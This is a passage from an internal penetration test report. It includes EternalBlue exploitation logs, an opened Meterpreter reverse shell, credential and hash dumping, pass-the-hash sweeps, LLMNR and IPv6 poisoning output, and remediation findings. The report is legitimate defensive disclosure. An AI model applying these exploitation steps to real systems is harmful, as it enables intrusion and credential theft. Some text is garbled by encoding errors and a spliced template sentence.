Since SFY was unable to discover any valid domain user account credentials, no further actions were performed.

During testing, SFY identified several systems to be vulnerable to EternalBlue. To attempt exploiting these vulnerabilities, SFY targeted the first system, 192.168.204.195 ([redacted]HELPDESK1) for this attack. As shown below, it was possible to successfully gain access to the remote server:

```
[*] Started reverse TCP handler on 10.100.2.51:443
[*] 192.168.204.195:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.204.195:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x
64 (64-bit)
[*] 192.168.204.195:445   - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.204.195:445 - Connecting to target for exploitation.
[+] 192.168.204.195:445 - Connection established for exploitation.
[+] 192.168.204.195:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.204.195:445 - CORE raw buffer dump (51 bytes)
[*] 192.168.204.195:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 192.168.204.195:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 192.168.204.195:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 192.168.204.195:445 - 0x00000030  6b 20 31                                         k 1
[+] 192.168.204.195:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.204.195:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.204.195:445 - Sending all but last fragment of exploit packet
[*] 192.168.204.195:445 - Starting non-paged pool grooming
[+] 192.168.204.195:445 - Sending SMBv2 buffers
[+] 192.168.204.195:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.204.195:445 - Sending final SMBv2 buffers.
[*] 192.168.204.195:445 - Sending last fragment of exploit packet!
[*] 192.168.204.195:445 - Receiving response from exploit packet
[+] 192.168.204.195:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.204.195:445 - Sending egg to corrupted connection.
[*] 192.168.204.195:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 192.168.204.195
[*] Meterpreter session 1 opened (10.100.2.51:443 -> 192.168.204.195:49268) at 2021-01-13 21:31:42 +0000
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

SFY performed post-exploitation on the system to learn more about the system and its configurations. The following activities were performed as part of this test:

- Enumerated local administrator credentials
- Enumerated domain credentials through the use of WDigest

As shown above, it was possible to extract local administrator password hashes:

```
[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bf89560474c12807ebd1cb69c[obfuscated]:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73[obfuscated]:::
```

Additionally, it was possible to extract cleartext credentials from the remote system:

```
wdigest credentials
===================

Username        Domain  Password
--------        ------  --------
(null)          (null)  (null)
[redacted]        [redacted]    11500[obfuscated]
```

When leveraging the *net group Ã¢â‚¬Å“Domain AdminsÃ¢â‚¬Â /domain* command, SFY cross-referenced the [redacted] user account with a Domain Administrator account, as shown below:

```
C:\Windows\system32>net group "Domain Admins" /domain
net group "Domain Admins" /domain
The request will be processed at a domain controller for domain [redacted].com.

Group name     Domain Admins
Comment        Designated administrators of the domain

Members

-------------------------------------------------------------------------------
[redacted]            [redacted]            [redacted]
[redacted]                 [redacted]              [redacted]
[redacted]                  [redacted]                [redacted]
[redacted]         [redacted]               [redacted]
[redacted]                  [redacted]           [redacted]
[redacted]
The command completed successfully.
```

The following command also confirms that a domain administrator account was successfully compromised:

```
C:\Windows\system32>net users [redacted] /domain
net users [redacted] /domain
The request will be processed at a domain controller for domain [redacted].com.

User name                    [redacted]
Full Name                    [redacted] [redacted] Administrator
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/13/2021 2:56:06 PM
Password expires             Never
Password changeable          1/13/2021 2:56:06 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
```

```
User profile
Home directory
Last logon                    1/13/2021 2:56:41 PM

Logon hours allowed           All

Local Group Memberships       *Administrators       *Backup Operators
Global Group memberships      *Domain Users         *Schema Admins
                              *ExchAdmins           *Organization Manageme
                              *ESX Admins           *Docunity
                              *Domain Admins        *Traverse Security
The command completed successfully.
```

Prior to performing post-exploitation, SFY also leveraged the compromised administrator password hash to identify if whether or not this local administrator account was reused across multiple systems within the network environment. To facilitate this, SFY leveraged Metasploit and performed a single login attack against all systems with port 445/tcp opened.

Based on the results, SFY was successful with gaining access to ten (10) other systems within the network, whereas one hundred and seventy-nine (179) login attempts were unsuccessful. The following systems were found to have the same local administrator password:

```
[+] 192.168.204.60:445    - 192.168.204.60:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c128
07ebd1c[obfuscated]' Administrator
[+] 192.168.204.78:445    - 192.168.204.78:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c128
07ebd1c[obfuscated]' Administrator
[+] 192.168.204.66:445    - 192.168.204.66:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c128
07ebd1c[obfuscated]' Administrator
[+] 192.168.204.49:445    - 192.168.204.49:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c128
07ebd1c[obfuscated]' Administrator
[+] 192.168.204.125:445   - 192.168.204.125:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
[+] 192.168.204.202:445   - 192.168.204.202:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
[+] 192.168.204.200:445   - 192.168.204.200:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
[+] 192.168.204.189:445   - 192.168.204.189:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
[+] 192.168.204.195:445   - 192.168.204.195:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
[+] 192.168.204.240:445   - 192.168.204.240:445 - Success: '.\Administrator:aad3b435b51404eeaad3b435b51404ee:bf89560474c12
807ebd1c[obfuscated]' Administrator
```

To attempt post-exploitation, SFY targeted 192.168.204.154 ([redacted]FILE3), as this system exposed a number of shares when authenticated with credentials, as shown below:

```
        Sharename       Type      Comment
        ---------       ----      -------
        401(k)$         Disk      401(k) Committee
        51014 [redacted] Gulfstar EDH Elect Deck House Disk
        Accounting$     Disk
        Admin           Disk
        ADMIN$          Disk      Remote Admin
        [redacted]  Disk
        Benefits        Disk
        [redacted]          Disk
        [redacted]          Disk
        Business Development Disk
        C$              Disk      Default share
        [redacted]          Disk
        Charles_Lin     Disk
        Codes And Standards Disk
        Compression     Disk
        [redacted]  Disk
        [redacted]         Disk
        [redacted]  Disk
        Docunity        Disk
        DocUnityFormsArchive Disk
        DocUnityReportArchive Disk
```

```
        [redacted]      Disk
        EdR             Disk
        [redacted]        Disk
        [redacted]  Disk
        F$              Disk      Default share
        [redacted]  Disk
        G$              Disk      Default share
        [redacted]      Disk
```

A total of ninety-eight (98) shares were identified during this process. SFY was able to successfully access the Ã¢â‚¬Å“AccountingÃ¢â‚¬Â directory as a part of the enumeration process. Furthermore, SFY was able to discover a PASSWORDS.XLSX document within this share that contained cleartext credentials. The following was an example:

```
smb: \> dir
  .                                   D        0  Wed Jan 13 21:13:49 2021
  ..                                  D        0  Wed Jan 13 21:13:49 2021
  Accounting$ (192.168.204.154) (Y) - Shortcut.lnk      A      637  Tue Sep  1 18:06:12 2020
  ACCOUNTS PAYABLE                    D        0  Wed Jan 13 20:16:17 2021
  ACCOUNTS RECEIVABLE                 D        0  Wed Oct 14 17:21:21 2020
  AUDIT                               D        0  Sun Aug 16 15:57:04 2020
  Aug 2020 WTX Month End Review v2.xlsx      A  2897007  Fri Sep  4 17:24:43 2020
  BUDGETS                             D        0  Thu Oct  1 21:44:18 2020
  CASH                                D        0  Thu Nov 19 20:16:55 2020
  DOCUNITY                            D        0  Sat Sep  5 20:59:36 2020
  False.csv                           A    15520  Tue Aug 18 17:34:36 2020
  GENERAL LEDGER                      D        0  Mon Sep 28 14:31:35 2020
  HUMAN RESOURCES                     D        0  Mon Dec 30 16:16:14 2019
  JOB COSTING                         D        0  Thu Jul 30 16:02:26 2020
  NOBLE ISRAEL INVOICES               D        0  Wed Jan 13 21:31:10 2021
  OS (C) - Shortcut.lnk               A      501  Tue Jul 14 11:33:44 2020
  PASSWORDS.xlsx                      A    43639  Mon Jan  4 17:41:04 2021
  PAYLOCITY                           D        0  Thu Sep  3 12:21:44 2020
  PAYROLL                             D        0  Wed Jan 13 14:16:12 2021
  POLICIES                            D        0  Tue Jan 12 18:26:34 2021
  PROJECTS                            D        0  Sat Jul  4 14:23:23 2020
  REPORTING                           D        0  Mon Jan  4 22:35:58 2021
  TAX                                 D        0  Tue Nov 17 19:56:55 2020
  Thumbs.db                         AHSn   107008  Wed May 10 18:22:03 2017

                536870143 blocks of size 4096. 171328078 blocks available
```

No further enumeration or post-exploitation was performed after this process.

Internal Network Environment Exposures

This phase of the security assessment focused on the security of network assets within the internal network environment. During this phase, SFY used a comprehensive set of tools, custom scripts, and manual techniques to thoroughly identify possible threats to the environment. Like a traditional penetration test, all identified threats were tested and validated to evaluate the depth of compromise. Unlike a traditional penetration test, this evaluation of threats was not isolated or limited to a handful of threats, but rather across all threats identified.

CRITICAL IPv6 DNS Spoofing

Observation

IPv6 DNS spoofing is possible due to the possibility of deploying a rogue DHCPv6 server on the internal network. Since Microsoft Windows systems prefer IPv4 over IPv6, IPv6-enabled clients will prefer to obtain IP address configurations from a DHCPv6 server when one is available.

During an attack such as the one performed during this assessment, an IPv6 DNS server was assigned to IPv6-enabled clients; however, the IPv6-enabled clients retained their pre-existing IPv4 address configurations â€“ IP address, default gateway, and subnet mask.

Security Impact

By deploying a rogue DHCPv6 server, an attacker is able to intercept DNS requests by reconfiguring IPv6-enabled clients to use the attacker's system as the DNS server. Such an attack could potentially lead to the successful capture of sensitive information, including user credentials and other information. Resolving all DNS names to an attacker's system results in the victim's system communicating with services such as SMB, HTTP, RDP, MSSQL, etc. all hosted on the attacker's system.

Recommendation

Disable IPv6 unless it is required for business operations. As disabling IPv6 could potentially cause an interruption in network services, it is strongly advised to test this configuration prior to mass deployment. An alternative solution would be to implement DHCPv6 guard on network switches. Essentially, DHCPv6 guard ensures that only an authorized list of DHCP servers are allowed to assign leases to clients.

Reproduction Steps

Leveraging the "mitm6" tool within Kali Linux, a user is able to quickly deploy a DHCPv6 server within the local network and assign five minute leases (by default) to IPv6-enabled clients.

References

https://blog.vonahi.io/taking-over-ipv6-networks/

Evidence

```
IPv6 address fe80::9811:1 is now assigned to mac=e0:63:da:59:07:a9 host=UniFi-CloudKey-Gen2. ipv4=
```

CRITICAL Link-Local Multicast Name Resolution (LLMNR) Spoofing

Observation

Link-Local Multicast Name Resolution (LLMNR) is a protocol used amongst workstations within an internal network environment to resolve a domain name system (DNS) name when a DNS server does not exist or cannot be helpful.

When a system attempts to resolve a DNS name, the system proceeds with the following steps:

1. The system check its local host file to determine if an entry exists to match the DNS name in question with an IP address.
2. If the system does not have an entry in its local hosts file, the system then sends a DNS query to its configured DNS server(s) to attempt retrieving an IP address that matches the DNS name in question.
3. If the configured DNS server(s) cannot resolve the DNS name to an IP address, the system then sends an LLMNR broadcast packet on the local network to seek assistance from other systems.

Security Impact

Since the LLMNR queries are broadcasted across the network, any system can respond to these queries with the IP address of the DNS name in question. This can be abused by malicious attackers since an attacker can respond to all of these queries with the IP address of the attacker's system. Depending on the service that the victim was attempting to communicate with (e.g. SMB, MSSQL, HTTP, etc.), an attacker may be able to capture sensitive cleartext and/or hashed account credentials. Hashed credentials can, many times, be recovered in a matter of time using computing modern-day computing power and brute-force techniques.

Recommendation

The most effective method for preventing exploitation is to configure the Multicast Name Resolution registry key in order to prevent systems from using LLMNR queries.

- **Using Group Policy:** Computer Configuration\Administrative Templates\Network\DNS Client \Turn off Multicast Name Resolution = Enabled (To administer a Windows 2003 DC, use the Remote Server Administration Tools for Windows 7 - http://www.microsoft.com/en-us/download/details.aspx?id=7887)
- **Using the Registry for Windows Vista/7/10 Home Edition only:** HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient \EnableMulticast

Reproduction Steps

On a system configured with LLMNR, attempt to interact with a DNS name that is known to be invalid (e.g. test123.local). On another system, use a network packet analyzer, such as Wireshark, to inspect the broadcasted traffic on the internal network environment.

References

- http://blogs.technet.com/b/networking/archive/2008/04/01/how-to-benefit-from-link-local-multicast-name-

Evidence

```
2021-01-11 23:29:22,712 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name WIN-NLN1IU84VKS
2021-01-11 23:29:22,902 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name WIN-NLN1IU84VKS
2021-01-11 23:29:23,217 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name WIN-NLN1IU84VKS
2021-01-11 23:29:23,219 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.63 for name WIN-NLN1IU84VKS
2021-01-11 23:29:23,411 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name WIN-NLN1IU84VKS
2021-01-11 23:29:23,412 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.64 for name WIN-NLN1IU84VKS
2021-01-11 23:29:23,883 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name WIN-NLN1IU84VKS
2021-01-11 23:29:24,297 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name WIN-NLN1IU84VKS
2021-01-11 23:29:24,388 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name WIN-NLN1IU84VKS
2021-01-11 23:29:24,389 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.52 for name WIN-NLN1IU84VKS
2021-01-11 23:29:24,801 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name WIN-NLN1IU84VKS
2021-01-11 23:29:24,802 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.59 for name WIN-NLN1IU84VKS
2021-01-11 23:29:25,995 - [*] [MDNS] Poisoned answer sent to 10.100.2.83     for name proxysrv.local
2021-01-11 23:29:25,998 - [*] [LLMNR]  Poisoned answer sent to 10.100.2.83 for name proxysrv
```

CRITICAL Outdated Microsoft Windows Systems

Observation

An outdated Microsoft Windows system raises several concerns as the system is no longer receiving updates by Microsoft. This could be a prime target for an attacker as these systems typically do not contain the latest security updates, often times leaving them vulnerable to significant threats.

Security Impact

An exploited Microsoft Windows system could potentially result in an attacker gaining unauthorized access to the affected system(s). Additionally, depending on the similarities in configurations between the compromised system(s) and other systems within the network, an attacker may be able to pivot from this system to other systems and resources within the environment.

Top Affected Nodes

FORTY-FIVE (45) NODES AFFECTED		
IP Address	**Host Name**	**Operating System**
192.168.204.62		Undetected
192.168.204.63		Undetected
192.168.204.49		Undetected
192.168.204.58		Undetected
192.168.204.79		Undetected
192.168.204.91		Undetected
192.168.204.97		Undetected
192.168.204.103		Undetected
192.168.204.94		Undetected
192.168.204.104		Undetected
192.168.204.125		Undetected
192.168.204.143		Undetected
192.168.204.126		Undetected
192.168.204.133		Undetected
192.168.204.141		Undetected
192.168.204.154		Undetected
192.168.204.223		Undetected
192.168.204.238		Undetected
192.168.204.240		Undetected
192.168.204.198		Undetected
10.100.7.111		Microsoft Windows 7 Professional
10.100.7.131		Microsoft Windows 7 Ultimate

10.100.7.125		Microsoft Windows Server 2008 R2 Standard Service Pack 1
192.168.204.145		Undetected
10.100.7.136		Microsoft Windows XP Service Pack 2
192.168.204.52		Undetected
192.168.204.110		Undetected
192.168.204.148		Undetected
192.168.204.199		Undetected
192.168.204.245		Undetected
192.168.204.67		Undetected
192.168.204.160		Undetected
10.100.7.210		Microsoft Windows 7 Professional
10.100.5.64	[redacted]	Microsoft Windows Server 2008 R2 Standard Service Pack 1
10.100.5.59	[redacted]	Microsoft Windows 7 Professional
192.168.204.54		Undetected
192.168.204.161		Undetected
192.168.204.162		Undetected
192.168.204.184		Undetected
192.168.204.185		Undetected
192.168.204.195		Undetected
192.168.204.214		Undetected
192.168.204.215		Undetected
10.100.7.135		Microsoft Windows Server 2008 Standard Service Pack 2
10.100.7.115		Microsoft Windows 7 Professional

Recommendation

Replace outdated versions of Microsoft Windows with operating systems that are up-to-date and supported by the manufacturer.

Reproduction Steps

Use an operating system identification scanner, such as Nmap or Metasploit, to scan the affected targets to identify their specific versions. Alternatively, a network administrator can check the operating system version by logging into the system and viewing the operating system version through the system properties.

References

- https://support.microsoft.com/en-us/lifecycle/search/1163

Evidence

```
[+] 192.168.204.49:445    -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:DCEXCH02) (domai
n:[obfuscated-domain])
```

```
[+] 192.168.204.58:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[obfuscated-domai
n]XENWEB1) (domain:[obfuscated-domain])
[+] 192.168.204.52:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[obfuscated-domai
n]DHCP) (domain:[obfuscated-domain])
[+] 192.168.204.62:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[obfuscated-domai
n]CAD) (domain:[obfuscated-domain])
[+] 192.168.204.54:445    -   Host is running Windows 2008 R2 Standard SP1 (build:7601) (name:[obfuscated-domai
n]SERVER1) (domain:[obfuscated-domain])
[+] 192.168.204.79:445    -   Host is running Windows 2008 R2 Enterprise SP1 (build:7601) (name:[obfuscated-doma
in]EXCH01) (domain:[obfuscated-domain])
```

```
[+] 192.168.204.63:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 R2 3790 Service Pack 2
 x86 (32-bit)
[+] 192.168.204.67:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86
(32-bit)
[+] 192.168.204.94:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86
(32-bit)
[+] 192.168.204.104:445   - Host is likely VULNERABLE to MS17-010! - Windows Server 2003 R2 3790 Service Pack 2
 x86 (32-bit)
```

HIGH

Password Document Stored in Network Share

Observation

During testing, it was possible to identify a cleartext passwords document located on network share. Password documents can be fruitful for an attacker because they provide valuable credentials that may be useful for other networks.

Security Impact

An attacker could leverage password documents to elevate privileges across the network or even to gain further access into other services within the network environment.

Recommendation

Storing a password document within a network share should be prohibited. As an alternative solution, it is recommended to use a password manager and share it only with authorized individuals, protected by multiple layers of authentication.

Reproduction Steps

Evaluate the affected system's SMB network shares to look for sensitive file names including password.

Evidence

```
smb: This section is auto-generated and only meant for you to reorder the findings in your report.  Please do no
t add findings here as it will get replaced during report regeneration.gt; dir
  .                                   D        0  Wed Jan 13 21:13:49 2021
  ..                                  D        0  Wed Jan 13 21:13:49 2021
  Accounting$ (192.168.204.154) (Y) - Shortcut.lnk      A      637  Tue Sep  1 18:06:12 2020
  ACCOUNTS PAYABLE                    D        0  Wed Jan 13 20:16:17 2021
  ACCOUNTS RECEIVABLE                 D        0  Wed Oct 14 17:21:21 2020
  AUDIT                               D        0  Sun Aug 16 15:57:04 2020
  Aug 2020 WTX Month End Review v2.xlsx      A  2897007  Fri Sep  4 17:24:43 2020
  BUDGETS                             D        0  Thu Oct  1 21:44:18 2020
  CASH                                D        0  Thu Nov 19 20:16:55 2020
  DOCUNITY                            D        0  Sat Sep  5 20:59:36 2020
  False.csv                           A    15520  Tue Aug 18 17:34:36 2020
  GENERAL LEDGER                      D        0  Mon Sep 28 14:31:35 2020
  HUMAN RESOURCES                     D        0  Mon Dec 30 16:16:14 2019
  JOB COSTING                         D        0  Thu Jul 30 16:02:26 2020
  NOBLE ISRAEL INVOICES               D        0  Wed Jan 13 21:31:10 2021
  OS (C) - Shortcut.lnk               A      501  Tue Jul 14 11:33:44 2020
  PASSWORDS.xlsx                      A    43639  Mon Jan  4 17:41:04 2021
  PAYLOCITY                           D        0  Thu Sep  3 12:21:44 2020
  PAYROLL                             D        0  Wed Jan 13 14:16:12 2021
  POLICIES                            D        0  Tue Jan 12 18:26:34 2021
  PROJECTS                            D        0  Sat Jul  4 14:23:23 2020
  REPORTING                           D        0  Mon Jan  4 22:35:58 2021
  TAX                                 D        0  Tue Nov 17 19:56:55 2020
  Thumbs.db                         AHSn   107008  Wed May 10 18:22:03 2017
```

MEDIUM

Anonymous FTP Enabled

Observation

A file transfer protocol (FTP) service allows users to transfer files to/from remote FTP servers. The FTP service typically allows for setting user credentials, which could include complex usernames and passwords. However, during the case of the assessment, testing identified that anonymous FTP was found present. Anonymous FTP servers allow for anyone to login to the FTP server to browse the files that have been remotely uploaded.

Security Impact

The issue with anonymous FTP is that any individual, including an attacker, could gain remote access to the FTP server and observe the contents within the server. Depending on anonymous permissions, an attacker may also be able to leverage this default, weak configuration in order to store/transmit malicious code.

The exposure of files stored on anonymous FTP servers could present the opportunity for an attacker to compromise the confidentiality and/or integrity of sensitive files that may be deemed for authorized access only.

Top Affected Nodes

TEN (10) NODES AFFECTED		
IP Address	**Host Name**	**Operating System**
10.100.3.70		Unknown
10.100.7.97		Arista EOS
10.100.7.98		Ubuntu 16.04 Linux Kernel 4.4
192.168.2.17		Unknown
192.168.2.32		Microsoft Windows Server 2012 R2 Standard
192.168.2.33		Unknown
192.168.2.34		Juniper Junos 15.1X49
192.168.2.35		Unknown
192.168.2.38		Unknown
192.168.2.39		Unknown

Recommendation

If the anonymous FTP server is not required for business operations, consider disabling the service altogether and updating the organization's configuration baseline. The configuration baseline should ensure that unnecessary services are disabled prior to deployment. If the service is required for business operations, consider disabling anonymous authentication and implementing authentication that leverages a complex password.

Reproduction Steps

Using the operating system's built in FTP client, Metasploit, or Nmap, onnect to the affected FTP server(s) using "anonymous/anonymous" (username and password).

Evidence

```
Nmap scan report for 192.168.2.38
Host is up (0.011s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

```
Nmap scan report for 192.168.2.39
Host is up (0.11s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

```
Nmap scan report for 192.168.2.32
Host is up (0.011s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

MEDIUM

Insecure Protocol - FTP

Observation

The File Transfer Protocol (FTP) service is used for client systems to connect to and store and retrieve files. However, FTP does not encrypt the communications between the server and the client, exposing all data in cleartext. Although FTP can negotiate to use TLS, the affected server(s) were not found to negotiate TLS.

Security Impact

Since FTP is cleartext, all of the traffic between the client and the server is exposed in cleartext. This presents the opportunity for an attacker to perform a man-in-the-middle attack and obtain sensitive user credentials as well as file contents. Such valuable information may also be useful for other attacks within the environment.

Recommendation

Disable the service if it is not needed for business operations. If transferring files is necessary for business operations, then consider implementing Secure FTP (SFTP) as SFTP uses encryption during communications to/from SFTP clients.

Reproduction Steps

Use an FTP client to connect to one of the affected servers on port 21/tcp. The following syntax can be used to attempt connecting to an FTP server:

```
ftp <server_ip_address>
```

Furthermore, if an FTP client does not exist and the available operating system leverages the native telnet command, connectivity can be tested against an FTP server using the following syntax and leveraging the Telnet command:

```
telnet <server_ip_address> 21
```

If the command above works, then the remote server is listening on port 21/tcp.

References

- https://www.ipa.go.jp/security/rfc/RFC2577EN.html

Evidence

```
Nmap scan report for 10.100.7.97
Host is up (0.00037s latency).

PORT   STATE SERVICE
21/tcp open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
Nmap scan report for 192.168.204.57
Host is up (0.0032s latency).

PORT   STATE SERVICE
21/tcp open  ftp
```

```
Nmap scan report for 192.168.2.32
Host is up (0.011s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

```
Nmap scan report for 192.168.2.38
Host is up (0.011s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- root root 200 Jan  1 01:08 help
| -r--r--r-- root root 200 Jan  1 01:08 info
| -r--r--r-- root root 200 Jan  1 01:08 prnlog
| -r--r--r-- root root 200 Jan  1 01:08 stat
|_-r--r--r-- root root 200 Jan  1 01:08 syslog
```

MEDIUM

Insecure Protocol - Telnet

Observation

The telnet service is used for network administrators to perform remote administration of network devices. This service, however, does not enforce encryption and, therefore, exposes all traffic in cleartext.

Security Impact

Since telnet communications are in cleartext, an attacker could perform a man-in-the-middle attack and obtain sensitive information such as user credentials, command outputs, and more. Such valuable information may also be useful for other attacks within the environment.

Top Affected Nodes

THIRTEEN (13) NODES AFFECTED		
IP Address	**Host Name**	**Operating System**
192.168.204.10		Undetected
10.100.3.70		Unknown
10.100.5.58		VxWorks 5.5
10.100.7.63		VxWorks 5.5
10.100.7.64		VxWorks 5.5
10.100.7.74		Apple Airport
192.168.2.32		Microsoft Windows Server 2012 R2 Standard
192.168.2.33		Unknown
192.168.2.34		Juniper Junos 15.1X49
192.168.2.35		Unknown
192.168.2.38		Unknown
192.168.2.39		Unknown
192.168.2.76		Undetected

Recommendation

Disable the telnet service if it is not required for business operations. If it is required for business operations, consider using an alternative protocol, such as Secure Shell (SSH), to accomplish the same goal with encryption being implemented.

Reproduction Steps

Use a telnet client to connect to a telnet server. Using a network packet analyzer, such as Wireshark, observe the packets originating from the telnet client to discover the cleartext communications.

References

- https://isc.sans.edu/diary/Computer+Security+Awareness+Month+-+Day+18+-+Telnet+an+oldie+but+a+goodie/7393

Evidence

```
Nmap scan report for 192.168.204.10
Host is up (0.00062s latency).

PORT   STATE SERVICE
23/tcp open  telnet
| telnet-encryption:
|_  Telnet server does not support encryption
```

```
Nmap scan report for 192.168.2.32
Host is up (0.011s latency).

PORT   STATE SERVICE
23/tcp open  telnet
```

```
Nmap scan report for 10.100.7.64
Host is up (0.0043s latency).

PORT   STATE SERVICE
23/tcp open  telnet
| telnet-encryption:
|_  Telnet server does not support encryption
```

```
Nmap scan report for 10.100.5.58
Host is up (0.0011s latency).

PORT   STATE SERVICE
23/tcp open  telnet
| telnet-encryption:
|_  Telnet server does not support encryption
```

```
[+] 10.100.5.58:23        - 10.100.5.58:23 TELNET \x1b[2J\x1b[1;1H\x0a\x0a\x0a         Copyright (c) 2004-2020 H
irschmann Automation and Control GmbH\x0a\x0a                                 All rights reserved\x0a\x0a
MACH Release L2P-09.1.02\x0a\x0a                        (Build date 2020-09-20 08:37)\x0a\x0a\x0a\x0a
System Name:  MACH-6B9000\x0a                       Mgmt-IP    :  10.100.5.58\x0a                        Base-MAC
:  64:60:38:6B:90:00\x0a                      System Time:  2020-01-11 22:00:39\x0a\x0a\x0a\x0a\x0aUser:
[+] 10.100.7.63:23        - 10.100.7.63:23 TELNET \x1b[2J\x1b[1;1H\x0a\x0a\x0a         Copyright (c) 2004-2018 H
irschmann Automation and Control GmbH\x0a\x0a                                 All rights reserved\x0a\x0a
MACH Release L2P-09.0.14\x0a\x0a                        (Build date 2018-03-14 18:13)\x0a\x0a\x0a\x0a
System Name:  MACH-4BD40A\x0a                       Mgmt-IP    :  10.100.7.63\x0a                        Base-MAC
:  64:60:38:4B:D4:0A\x0a                      System Time:  2018-01-01 02:38:28\x0a\x0a\x0a\x0a\x0aUser:
[+] 10.100.7.74:23        - 10.100.7.74:23 TELNET \x1b[2J\x1b[1;1H\x0a\x0a\x0a         Copyright (c) 2004-2020 H
irschmann Automation and Control GmbH\x0a\x0a                                 All rights reserved\x0a\x0a
MACH Release L2P-09.1.01\x0a\x0a                        (Build date 2020-02-24 17:00)\x0a\x0a\x0a\x0a
System Name:  MACH-9A79C0\x0a                       Mgmt-IP    :  10.100.7.74\x0a                        Base-MAC
:  64:60:38:9A:79:C0\x0a                      System Time:  2020-01-11 22:00:41\x0a\x0a\x0a\x0a\x0aUser:
[+] 10.100.7.64:23        - 10.100.7.64:23 TELNET \x1b[2J\x1b[1;1H\x0a\x0a\x0a         Copyright (c) 2004-2018 H
irschmann Automation and Control GmbH\x0a\x0a                                 All rights reserved\x0a\x0a
MACH100 Release L2P-09.0.19\x0a\x0a                        (Build date 2019-09-04 18:44)\x0a\x0a\x0a\x0a
System Name:  MACH100-8F0568\x0a                      Mgmt-IP    :  10.100.7.64\x0a                         Base-
